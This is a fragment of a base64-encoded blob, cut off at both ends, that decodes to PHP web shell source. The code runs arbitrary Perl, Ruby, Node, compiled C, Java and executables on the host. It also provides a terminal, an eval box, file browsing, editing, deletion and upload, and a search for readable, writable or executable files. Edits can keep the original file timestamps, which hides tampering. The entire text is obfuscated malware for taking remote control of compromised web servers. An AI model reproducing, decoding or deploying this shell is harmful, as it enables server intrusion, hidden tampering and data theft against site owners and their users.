hbFR5cGU9PSJwZXJsIil8fCgkZXZhbFR5cGU9PSJydWJ5Iil8fCgkZXZhbFR5cGU9PSJub2RlIil8fCgkZXZhbFR5cGU9PSJub2RlanMiKSl7ICR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsgY2hkaXIoJHRtcGRpcik7ICRyZXMgLj0gIlVzaW5nIGRpciA6ICIuJHRtcGRpcjsgaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpeyAkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsgJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsgJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOyAkcGF0aCA9ICRmaWxlbmFtZTsgJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOyBpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsgaWYoY2htb2QoJHBhdGgsIDA3NTUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRjbWQgPSAkZXZhbFR5cGUuIiAiLiRldmFsT3B0aW9ucy4kcGF0aC4kZXZhbEFyZ3VtZW50czsgJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOyAkb3V0cHV0ID0gZXhlY3V0ZSgkY21kKTsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOyBpZih1bmxpbmsoJHBhdGgpKSAkcmVzIC49ICIgKG9rKVxuIjsgZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKG5vdCB3cml0YWJsZSlcbiI7ICRyZXMgLj0gIkZpbmlzaGVkLi4uIjsgcmV0dXJuICRyZXMuIntbfG51bGxzfF19Ii4kb3V0cHV0OyB9IGVsc2VpZigkZXZhbFR5cGU9PSJnY2MiKXsgJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOyBjaGRpcigkdG1wZGlyKTsgJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOyBpZihpc193cml0YWJsZSgkdG1wZGlyKSl7ICRyZXMgLj0gIiAod3JpdGFibGUpXG4iOyAkdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOyAkZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5jIjsgJHBhdGggPSAkZmlsZW5hbWU7ICRyZXMgLj0gIlRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7ICRyZXMgLj0gIiAob2spXG4iOyAkZXh0ID0gKGlzX3dpbigpKT8gIi5leGUiOiIub3V0IjsgJHBhdGhyZXMgPSAkZmlsZW5hbWUuJGV4dDsgJGV2YWxPcHRpb25zID0gIi1vICIuJHBhdGhyZXMuIiAiLiRldmFsT3B0aW9uczsgJGNtZCA9ICJnY2MgIi4kZXZhbE9wdGlvbnMuJHBhdGg7ICRyZXMgLj0gIkNvbXBpbGluZyA6ICIuJGNtZDsgJHJlcyAuPSBleGVjdXRlKCRjbWQpOyBpZihpc19maWxlKCRwYXRocmVzKSl7ICRyZXMgLj0gIiAob2spXG4iOyAkcmVzIC49ICJTZXR0aW5nIHBlcm1pc3Npb25zIDogMDc1NSI7IGlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7ICRyZXMgLj0gIiAob2spXG4iOyAkY21kID0gJHBhdGhyZXMuJGV2YWxBcmd1bWVudHM7ICRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsgJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7IH0gZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7ICRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aHJlczsgaWYodW5saW5rKCRwYXRocmVzKSkgJHJlcyAuPSAiIChvaylcbiI7IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyAkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7IGlmKHVubGluaygkcGF0aCkpICRyZXMgLj0gIiAob2spXG4iOyBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsgJHJlcyAuPSAiRmluaXNoZWQuLi4iOyByZXR1cm4gJHJlcy4ie1t8bnVsbHN8XX0iLiRvdXRwdXQ7IH0gZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsgJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOyBjaGRpcigkdG1wZGlyKTsgJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOyBpZihpc193cml0YWJsZSgkdG1wZGlyKSl7ICRyZXMgLj0gIiAod3JpdGFibGUpXG4iOyBpZihwcmVnX21hdGNoKCIvY2xhc3NcIChbXntdKyl7L2kiLCRldmFsQ29kZSwgJHIpKXsgJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOyAkZmlsZW5hbWUgPSAkY2xhc3NuYW1lOyB9IGVsc2V7ICR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7ICRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsgJGV2YWxDb2RlID0gImNsYXNzICIuJGZpbGVuYW1lLiIgeyAiLiRldmFsQ29kZSAuICIgfSAiOyB9ICRwYXRoID0gJGZpbGVuYW1lLiIuamF2YSI7ICRyZXMgLj0gIlRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7ICRyZXMgLj0gIiAob2spXG4iOyAkY21kID0gImphdmFjICIuJGV2YWxPcHRpb25zLiRwYXRoOyAkcmVzIC49ICJDb21waWxpbmcgOiAiLiRjbWQ7ICRyZXMgLj0gZXhlY3V0ZSgkY21kKTsgJHBhdGhyZXMgPSAkZmlsZW5hbWUuIi5jbGFzcyI7IGlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsgaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRjbWQgPSAiamF2YSAiLiRmaWxlbmFtZS4kZXZhbEFyZ3VtZW50czsgJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOyAkb3V0cHV0ID0gZXhlY3V0ZSgkY21kKTsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRocmVzOyBpZih1bmxpbmsoJHBhdGhyZXMpKSAkcmVzIC49ICIgKG9rKVxuIjsgZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7ICRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChub3Qgd3JpdGFibGUpXG4iOyAkcmVzIC49ICJGaW5pc2hlZC4uLiI7IHJldHVybiAkcmVzLiJ7W3xudWxsc3xdfSIuJG91dHB1dDsgfSBlbHNlaWYoJGV2YWxUeXBlPT0iZXhlY3V0YWJsZSIpeyAkdG1wZGlyID0gZ2V0X3dyaXRhYmxlZGlyKCk7IGNoZGlyKCR0bXBkaXIpOyAkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7IGlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsgJHJlcyAuPSAiICh3cml0YWJsZSlcbiI7ICR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7ICRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcS4iLmV4ZSI7ICRwYXRoID0gJGZpbGVuYW1lOyAkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7IGlmKHdyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpeyAkcmVzIC49ICIgKG9rKVxuIjsgJGNtZCA9ICRwYXRoLiRldmFsQXJndW1lbnRzOyAkcmVzIC49ICJFeGVjdXRlIDogIi4kY21kLiJcbiI7ICRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOyAkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7IGlmKHVubGluaygkcGF0aCkpICRyZXMgLj0gIiAob2spXG4iOyBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsgJHJlcyAuPSAiRmluaXNoZWQuLi4iOyByZXR1cm4gJHJlcy4ie1t8bnVsbHN8XX0iLiRvdXRwdXQ7IH0gcmV0dXJuIGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnb3V0cHV0JykpeyBmdW5jdGlvbiBvdXRwdXQoJHN0cil7ICRlcnJvciA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpOyBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOyBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlIik7IGhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOyBlY2hvICRzdHI7IGRpZSgpOyB9Cn0KYmxvY2tfYm90KCk7CmF1dGgoKTsKY2hkaXIoZ2V0X2N3ZCgpKTsKJG5hdiA9IGdldF9uYXYoZ2V0X2N3ZCgpKTsKJHAgPSBhcnJheV9tYXAoInJhd3VybGRlY29kZSIsIG51bF9wb3N0KCkpOwokY3dkID0gaHRtbF9zYWZlKGdldF9jd2QoKSk7CiRHTE9CQUxTWydtb2R1bGUnXSA9IGFycmF5KCk7ICRleHBsb3Jlcl9jb250ZW50ID0gIiI7CmlmKGlzc2V0KCRwWyd2aWV3RW50cnknXSkpeyAkcGF0aCA9IHRyaW0oJHBbJ3ZpZXdFbnRyeSddKTsgaWYoaXNfZmlsZSgkcGF0aCkpeyAkZGlybmFtZSA9IHJlYWxwYXRoKGRpcm5hbWUoJHBhdGgpKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBzZXRjb29raWUoImN3ZCIsICRkaXJuYW1lKTsgY2hkaXIoJGRpcm5hbWUpOyAkbmF2ID0gZ2V0X25hdigkZGlybmFtZSk7ICRjd2QgPSBodG1sX3NhZmUoJGRpcm5hbWUpOyAkZXhwbG9yZXJfY29udGVudCA9IHZpZXdfZmlsZSgkcGF0aCwgImF1dG8iKTsgfSBlbHNlaWYoaXNfZGlyKCRwYXRoKSl7ICRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IHNldGNvb2tpZSgiY3dkIiwgJHBhdGgpOyBjaGRpcigkcGF0aCk7ICRuYXYgPSBnZXRfbmF2KCRwYXRoKTsgJGN3ZCA9IGh0bWxfc2FmZSgkcGF0aCk7ICRleHBsb3Jlcl9jb250ZW50ID0gc2hvd19hbGxfZmlsZXMoJHBhdGgpOyB9Cn0KZWxzZSAkZXhwbG9yZXJfY29udGVudCA9IHNob3dfYWxsX2ZpbGVzKGdldF9jd2QoKSk7ICRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnaWQnXSA9ICJleHBsb3JlciI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsndGl0bGUnXSA9ICJmaWxlcyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnanNfb250YWJzZWxlY3RlZCddID0gIiI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnY29udGVudCddID0gJGV4cGxvcmVyX2NvbnRlbnQ7ICRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsnaWQnXSA9ICJ0ZXJtaW5hbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsndGl0bGUnXSA9ICJ0ZXJtaWMiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCk9PScnKSkgJCgnI3Rlcm1pbmFsSW5wdXQnKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsnY29udGVudCddID0gIjxwcmUgaWQ9J3Rlcm1pbmFsT3V0cHV0Jz48L3ByZT48dGFibGUgaWQ9J3Rlcm1pbmFsUHJvbXB0Jz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGlkPSd0ZXJtaW5hbEN3ZCcgY2xhc3M9J3N0cm9uZyc+Ii5nZXRfY3dkKCkuIiZndDs8L3NwYW48L3RkPjx0ZCBpZD0ndGVybWluYWxDb21tYW5kJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3Rlcm1pbmFsSW5wdXQnIGNsYXNzPSdmbG9hdExlZnQnIHNwZWxsY2hlY2s9J2ZhbHNlJz48L3RkPjwvdHI+PC90YWJsZT4iOyAkR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsnaWQnXSA9ICJldmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ3RpdGxlJ10gPSAiRXZhbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiCmlmKCghcG9ydGFibGVNb2RlKSAmJiAoJCgnI2V2YWxPdXRwdXQnKS5odG1sKCk9PSdZb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQnKSkgJCgnI2V2YWxJbnB1dCcpLmZvY3VzKCk7IjsKJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ2NvbnRlbnQnXSA9ICIKPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+IDx0cj48dGggY29sc3Bhbj0nNCc+PHAgY2xhc3M9J2JveHRpdGxlJz5FdmFsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PiA8dHI+PHRkIGNvbHNwYW49JzQnPjx0ZXh0YXJlYSBpZD0nZXZhbElucHV0JyBzcGVsbGNoZWNrPSdmYWxzZScgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+PC90ZXh0YXJlYT48L3RkPjwvdHI+IDx0ciBpZD0nZXZhbEFkZGl0aW9uYWwnPjx0ZCBjb2xzcGFuPSc0Jz4gPGlucHV0IHR5cGU9J3RleHQnIGlkPSdldmFsT3B0aW9ucycgdmFsdWU9J09wdGlvbnMvU3dpdGNoZXMnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZXZhbF9nbycpO1wiPiA8aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2V2YWxBcmd1bWVudHMnIHZhbHVlPSdBcmd1bWVudHMnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZXZhbF9nbycpO1wiPiA8L3RkPjwvdHI+IDx0cj4gPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPiA8c2VsZWN0IGlkPSdldmFsVHlwZSc+IDwvc2VsZWN0PiA8L3RkPiA8dGQgY29sc3Bhbj0nMyc+IDxzcGFuIGlkPSdldmFsU3VibWl0JyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZXZhbF9nbygpO1wiPnJ1bjwvc3Bhbj4gPC90ZD4gPC90cj4gPHRyPjx0ZCBjb2xzcGFuPSc0Jz48cHJlIGlkPSdldmFsT3V0cHV0Jz5Zb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQ8L3ByZT48L3RkPC90cj4KPC90Ym9keT4KPC90YWJsZT4KIjsgJHJlcyA9ICIiOwppZihpc3NldCgkcFsnY2QnXSkpeyAkcGF0aCA9ICRwWydjZCddOyBpZih0cmltKCRwYXRoKT09JycpICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7ICRwYXRoID0gcmVhbHBhdGgoJHBhdGgpOyBpZihpc19maWxlKCRwYXRoKSkgJHBhdGggPSBkaXJuYW1lKCRwYXRoKTsgaWYoaXNfZGlyKCRwYXRoKSl7IGNoZGlyKCRwYXRoKTsgJHBhdGggPSAkcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SOyBzZXRjb29raWUoImN3ZCIsICRwYXRoKTsgJHJlcyA9ICRwYXRoLiJ7W3xudWxsc3xdfSIuZ2V0X25hdigkcGF0aCkuIntbfG51bGxzfF19IjsgaWYoaXNzZXQoJHBbJ3Nob3dmaWxlcyddKSYmKCRwWydzaG93ZmlsZXMnXT09J3RydWUnKSl7ICRyZXMgLj0gc2hvd19hbGxfZmlsZXMoJHBhdGgpOyB9IH0gZWxzZSAkcmVzID0gImVycm9yIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsndmlld0ZpbGUnXSkgJiYgaXNzZXQoJHBbJ3ZpZXdUeXBlJ10pKXsgJHBhdGggPSB0cmltKCRwWyd2aWV3RmlsZSddKTsgJHR5cGUgPSB0cmltKCRwWyd2aWV3VHlwZSddKTsgJHByZXNlcnZlVGltZXN0YW1wID0gdHJpbSgkcFsncHJlc2VydmVUaW1lc3RhbXAnXSk7IGlmKGlzX2ZpbGUoJHBhdGgpKXsgJHJlcyA9IHZpZXdfZmlsZSgkcGF0aCwgJHR5cGUsICRwcmVzZXJ2ZVRpbWVzdGFtcCk7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsncmVuYW1lRmlsZSddKSAmJiBpc3NldCgkcFsncmVuYW1lRmlsZVRvJ10pKXsgJHJlbmFtZUZpbGUgPSB0cmltKCRwWydyZW5hbWVGaWxlJ10pOyAkcmVuYW1lRmlsZVRvID0gdHJpbSgkcFsncmVuYW1lRmlsZVRvJ10pOyBpZihmaWxlX2V4aXN0cygkcmVuYW1lRmlsZSkpeyBpZihyZW5hbWUoJHJlbmFtZUZpbGUsICRyZW5hbWVGaWxlVG8pKXsgJHJlcyA9IGRpcm5hbWUoJHJlbmFtZUZpbGVUbyk7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyduZXdGb2xkZXInXSkpeyAkbmV3Rm9sZGVyID0gdHJpbSgkcFsnbmV3Rm9sZGVyJ10pOyBpZihta2RpcigkbmV3Rm9sZGVyKSl7ICRyZXMgPSBkaXJuYW1lKCRuZXdGb2xkZXIpOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ25ld0ZpbGUnXSkpeyAkbmV3RmlsZSA9IHRyaW0oJHBbJ25ld0ZpbGUnXSk7IGlmKHRvdWNoKCRuZXdGaWxlKSl7ICRyZXMgPSBkaXJuYW1lKCRuZXdGaWxlKTsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkZWxldGUnXSkpeyAkcGF0aCA9IHRyaW0oJHBbJ2RlbGV0ZSddKTsgJGRpcm5hbWUgPSBkaXJuYW1lKCRwYXRoKTsgaWYoaXNfZmlsZSgkcGF0aCkpeyBpZih1bmxpbmsoJHBhdGgpKSAkcmVzID0gJGRpcm5hbWU7IH0gZWxzZWlmKGlzX2RpcigkcGF0aCkpeyBpZihybWRpcnMoJHBhdGgpPjApICRyZXMgPSAkZGlybmFtZTsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBpZihmaWxlX2V4aXN0cygkcGF0aCkpICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydlZGl0VHlwZSddKSYmaXNzZXQoJHBbJ2VkaXRGaWxlbmFtZSddKSYmaXNzZXQoJHBbJ2VkaXRJbnB1dCddKSYmaXNzZXQoJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pKXsgJGVkaXRGaWxlbmFtZSA9IHRyaW0oJHBbJ2VkaXRGaWxlbmFtZSddKTsgJGVkaXRJbnB1dCA9IHRyaW0oJHBbJ2VkaXRJbnB1dCddKTsgJGVkaXRUeXBlID0gdHJpbSgkcFsnZWRpdFR5cGUnXSk7ICRwcmVzZXJ2ZVRpbWVzdGFtcCA9IHRyaW0oJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pOyAkdGltZSA9IGZpbGVtdGltZSgkZWRpdEZpbGVuYW1lKTsgaWYoJGVkaXRUeXBlPT0naGV4JykgJGVkaXRJbnB1dCA9IHBhY2soIkgqIiAsIHByZWdfcmVwbGFjZSgiL1xzLyIsIiIsICRlZGl0SW5wdXQpKTsgaWYod3JpdGVfZmlsZSgkZWRpdEZpbGVuYW1lLCAkZWRpdElucHV0KSl7ICRyZXMgPSAkZWRpdEZpbGVuYW1lOyBpZigkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJykgdG91Y2goJGVkaXRGaWxlbmFtZSwgJHRpbWUpOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2ZpbmRUeXBlJ10pKXsgJGZpbmRUeXBlID0gdHJpbSgkcFsnZmluZFR5cGUnXSk7ICRmaW5kUGF0aCA9IHRyaW0oJHBbJ2ZpbmRQYXRoJ10pOyAkZmluZE5hbWUgPSB0cmltKCRwWydmaW5kTmFtZSddKTsgJGZpbmROYW1lUmVnZXggPSB0cmltKCRwWydmaW5kTmFtZVJlZ2V4J10pOyAkZmluZE5hbWVJbnNlbnNpdGl2ZSA9IHRyaW0oJHBbJ2ZpbmROYW1lSW5zZW5zaXRpdmUnXSk7ICRmaW5kQ29udGVudCA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50J10pOyAkZmluZENvbnRlbnRSZWdleCA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50UmVnZXgnXSk7ICRmaW5kQ29udGVudEluc2Vuc2l0aXZlID0gdHJpbSgkcFsnZmluZENvbnRlbnRJbnNlbnNpdGl2ZSddKTsgJGZpbmRSZWFkYWJsZSA9IHRyaW0oJHBbJ2ZpbmRSZWFkYWJsZSddKTsgJGZpbmRXcml0YWJsZSA9IHRyaW0oJHBbJ2ZpbmRXcml0YWJsZSddKTsgJGZpbmRFeGVjdXRhYmxlID0gdHJpbSgkcFsnZmluZEV4ZWN1dGFibGUnXSk7ICRjYW5kaWRhdGUgPSBnZXRfYWxsX2ZpbGVzKCRmaW5kUGF0aCk7IGlmKCRmaW5kVHlwZT09J2ZpbGUnKSAkY2FuZGlkYXRlID0gYXJyYXlfZmlsdGVyKCRjYW5kaWRhdGUsICJpc19maWxlIik7IGVsc2VpZigkZmluZFR5cGU9PSdmb2xkZXInKSAkY2FuZGlkYXRlID0gYXJyYXlfZmlsdGVyKCRjYW5kaWRhdGUsICJpc19kaXIiKTsgZWxzZSAkcmVzID0gImVycm9yIjsgZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsgaWYoKCRmaW5kVHlwZT09ImZpbGUiKXx8KCRmaW5kVHlwZT09ImZvbGRlciIpKXsgaWYoIWVtcHR5KCRmaW5kTmFtZSkpeyBpZigkZmluZE5hbWVSZWdleD09InRydWUiKXsgJGNhc2UgPSAoJGZpbmROYW1lSW5zZW5zaXRpdmU9PSJ0cnVlIik/ICJpIjoiIjsgaWYoIXByZWdfbWF0Y2goIi8iLiRmaW5kTmFtZS4iLyIuJGNhc2UsIGJhc2VuYW1lKCRrKSkpeyAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gZWxzZXsgJGNoZWNrID0gZmFsc2U7IGlmKCRmaW5kTmFtZUluc2Vuc2l0aXZlPT0idHJ1ZSIpeyAkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcihiYXNlbmFtZSgkaykpLCBzdHJ0b2xvd2VyKCRmaW5kTmFtZSkpPT09ZmFsc2U7IH0gZWxzZXsgJGNoZWNrID0gc3RycG9zKGJhc2VuYW1lKCRrKSwgJGZpbmROYW1lKT09PWZhbHNlOyB9IGlmKCRjaGVjayl7ICRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7IH0gfSB9IH0gaWYoJGZpbmRUeXBlPT0iZmlsZSIpeyBpZighZW1wdHkoJGZpbmRDb250ZW50KSl7ICRjb250ZW50ID0gcmVhZF9maWxlKCRrKTsgaWYoJGZpbmRDb250ZW50UmVnZXg9PSJ0cnVlIil7ICRjYXNlID0gKCRmaW5kQ29udGVudEluc2Vuc2l0aXZlPT0idHJ1ZSIpPyAiaSI6IiI7IGlmKCFwcmVnX21hdGNoKCIvIi4kZmluZENvbnRlbnQuIi8iLiRjYXNlLCAkY29udGVudCkpeyAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gZWxzZXsgJGNoZWNrID0gZmFsc2U7IGlmKCRmaW5kQ29udGVudEluc2Vuc2l0aXZlPT0idHJ1ZSIpeyAkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcigkY29udGVudCksIHN0cnRvbG93ZXIoJGZpbmRDb250ZW50KSk9PT1mYWxzZTsgfSBlbHNleyAkY2hlY2sgPSBzdHJwb3MoJGNvbnRlbnQsICRmaW5kQ29udGVudCk9PT1mYWxzZTsgfSBpZigkY2hlY2speyAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gfSB9IH0gZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsgaWYoJGZpbmRSZWFkYWJsZT09InRydWUiKXsgaWYoIWlzX3JlYWRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsgfSBpZigkZmluZFdyaXRhYmxlPT0idHJ1ZSIpeyBpZighaXNfd3JpdGFibGUoJGspKSAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IGlmKCRmaW5kRXhlY3V0YWJsZT09InRydWUiKXsgaWYoIWlzX2V4ZWN1dGFibGUoJGspKSAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gaWYoY291bnQoJGNhbmRpZGF0ZSk+MCl7ICRyZXMgPSAiIjsgZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsgJHJlcyAuPSAiPHA+PHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRrKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii5odG1sX3NhZmUoJGspLiI8L2E+PC9wPiI7IH0gfSBlbHNlICRyZXMgPSAiIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsndWxUeXBlJ10pKXsgJHVsU2F2ZVRvID0gdHJpbSgkcFsndWxTYXZlVG8nXSk7ICR1bEZpbGVuYW1lID0gdHJpbSgkcFsndWxGaWxlbmFtZSddKTsgaWYoJHBbJ3VsVHlwZSddPT0nY29tcCcpeyAkdWxGaWxlID0gJF9GSUxFU1sndWxGaWxlJ107IGlmKGVtcHR5KCR1bEZpbGVuYW1lKSkgJHVsRmlsZW5hbWUgPSAkdWxGaWxlWyduYW1lJ107IGlmKGlzX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSkpeyBpZighaXNfZGlyKCR1bFNhdmVUbykpIG1rZGlyKCR1bFNhdmVUbyk7ICRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOyBpZiht